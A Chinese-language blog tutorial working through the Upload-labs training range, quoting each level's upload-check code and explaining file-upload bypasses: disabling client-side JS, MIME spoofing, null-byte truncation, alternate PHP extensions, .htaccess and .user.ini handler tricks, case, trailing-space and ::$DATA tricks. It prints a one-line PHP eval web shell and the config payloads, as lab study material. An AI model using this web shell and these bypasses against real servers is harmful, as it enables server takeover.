Web 文件上传漏洞(+Upload-labs靶场练习)

1. 漏洞逻辑

简单说,就是网站允许你上传文件(比如头像、附件),但没把门看好。 逻辑是这样的:用户上传 -> 服务器校验(如果不严) -> 保存 -> 用户访问 -> 代码执行 。一旦你成功上传了一个 .php 文件(或者其他能被解析的脚本),并且知道了它的路径,恭喜你,这台服务器就是你的了 。

2. 绕过技巧

2.1 客户端检测(JS 绕过)

对靶场Uploads- labs(Pass-01)的源码分析

javascript 复制代码
function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

看的出这关是利用前端的JS脚本检测,我们可以直接禁用JS。直接在F12里,然后按F1,找到禁用JS

然后我们就可以上传一句话木马

php 复制代码
<?php
eval($_POST["cmd"]);
?>

后续再用蚁剑链接即可。

当然这个关卡也可以修改后缀来绕过。通过分析源码,ta只允许.jpg|.png|.gif 中的一个文件类型。那我们先讲木马文件后缀改成合法的类型比如.jpg,再通过burpsuite抓包,在请求包中再修改为.php即可。这里就不再演示了。

2.2 MIME绕过

什么是 MIME 类型?

在 Windows 电脑里,系统是靠文件后缀名 (比如 .txt, .jpg, .exe)来区分文件类型的。 但是在网络传输(比如浏览器和服务器之间)中,它们更认这个 MIME 类型后缀名 :是给操作系统 看的。MIME :是给浏览器服务器看的。举几个常见的例子:

  • text/html:告诉浏览器,"我是个网页,请把我不带格式地渲染出来"。

  • image/jpeg:告诉浏览器,"我是张图片,请把我画出来"。

  • application/json:告诉程序,"我是数据,请把我解析成对象"。

  • application/octet-stream :这是个万金油,意思是"我就是一堆二进制数据",通常浏览器看到这个就会弹窗让你下载文件

我们看一下第二关Pass-02

javascript 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

通过分析这关源码,我们可以看到他限制了$_FILES'upload_file''type'字段。所以当我们上传shell.php时,我们需要用BurpSuite抓包,修改请求包中的字段,改成合法的字段比如image/png。

2.3 00截断绕过

由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0作为字符串的结尾,所 以\0也被称为"字符串结束标志"或者"字符串结束符"。操作系统在识别字符串时,当读取到\0字符时,就 认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符 串截断的目的。 \0 是ASCII码表中的第0个字符(即ASCII码为0的字符),英文称为NUL,中文称为"空字符"。
举个例子:你把文件名改成:shell.php%00.jpg

  1. 过安检(WAF/后端代码检测): 程序从后往前读,看到 .jpg

    • 程序说:"嗯,后缀是 .jpg,这是张图片,允许上传。"
  2. 落地执行(保存文件): 程序调用底层的 save_file("shell.php%00.jpg") 函数去保存文件。

    • 底层操作系统接管,读文件名:s...h...e...l...l.......p...h...p...【遇到00,停止!】

    • 后面的 .jpg 直接被扔掉了。

    • 最终保存的文件名是: shell.php

2.4 服务端黑名单绕过

服务端黑名单是一种安全保护机制,ta会明确禁止某些已知的危险元素

我们看一下第三关Pass-03

javascript 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

该源码把以'.asp','.aspx','.php','.jsp' 为后缀的文件禁止上传。但是除了这些常见的扩展名以外,服务器还会把 .phtml | .phps | .php5 | .pht 等这些扩展名依旧识别为PHP脚本并执行。

所以这关只要把你上传的shell文件后缀名,改为其中一个比如.phtml就可以了

2.5 .htaccess文件绕过

javascript 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这是Pass-04的源码,我们可以看到服务端黑名单几乎把把后缀锁死了,但是没有过滤掉.htaccess文件,我们这个可以上传一个.htaccess,其内容如下:

javascript 复制代码
<FilesMatch "a.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

该文件是告诉apache将a.jpg当作PHP文件来处理,随后我们就可以上传a.jpg文件,文件内容写入我们的shell代码,就可以利用漏洞了。

2.6 .user.ini文件绕过

在Pass-05中的源码我们发现,他把上一关我们使用的.htaccess也给禁用了。.user.ini没有被禁用,ta和.htaccess一样都是目录的配置文件,我们可以利用.user.ini来绕过。

在.user.ini中写入:

javascript 复制代码
auto_prepend_file=a.jpg

该意思是,该目录下的所有.php文件都包含a.jpg文件。这样的话我们只要将shell代码写入a.jpg再上传。同时该关卡提示到:上传目录存在php文件(readme.php)。这样我们只要访问redme.php就能执行我们的a.jpg中的shell代码了!

2.7 大小写绕过

这个方法就很熟悉了,我们之前XSS攻击也经常用到。在Pass-06中的源码,虽然设置了黑名单对常见的后缀名进行过滤,但是并没有用strtolower()函数将大小写统一转化成小写的步骤,所以文件后缀名使用大小写即可绕过,例如:.PHp。

2.8 空格绕过

javascript 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在Pass-07中的源码我们发现,在将::DATA去除完后,没有使用trim(file_ext)删除空白。在Windows系统下尝试保存shell.php 如果后面有空格会去掉。那我们运用这个特性,可以先上传shell.php随后抓包,在请求包中把文件名改为"shell.php " .

2.9 ::$DATA绕过

::$DATA 是 NTFS 里的默认数据流 。正常文件名叫 index.php,但在 Windows NTFS 眼里,这个文件的全名其实是 index.php::$DATA。Windows 操作系统认识它,但是PHP 代码里的很多过滤函数(或者 WAF)不认识它。因此我们可以使用这个特性去绕过。

javascript 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在Pass-09中的源码中,我们看到他少了一段取掉::DATA的操作。因此我们在上传shell.php抓包后,修改文件名为shell.php::DATA。就可以成功绕过了。

关于文件上传漏洞绕过的方法还有很多,暂时这里先写这么多了。大家也可以多去upload-labs靶场多去练习。

3. 下图是总结的文件上传绕过

相关推荐
见青..10 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道11 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
世界尽头与你15 小时前
Android Root 检测原理
android·安全·网络安全·渗透测试
kp0000015 小时前
如何平衡模型输出的“有用性”和“安全性
人工智能·安全·网络安全·信息安全·ai安全
世界尽头与你17 小时前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
kp000001 天前
大模型输出造成信息泄露类型
人工智能·网络安全·信息安全·ai安全
kp000001 天前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
X7x51 天前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
kp000001 天前
AI大模型,如何区分善意提问与Prompt注入攻击
人工智能·网络安全·信息安全·prompt·ai安全
kp000002 天前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全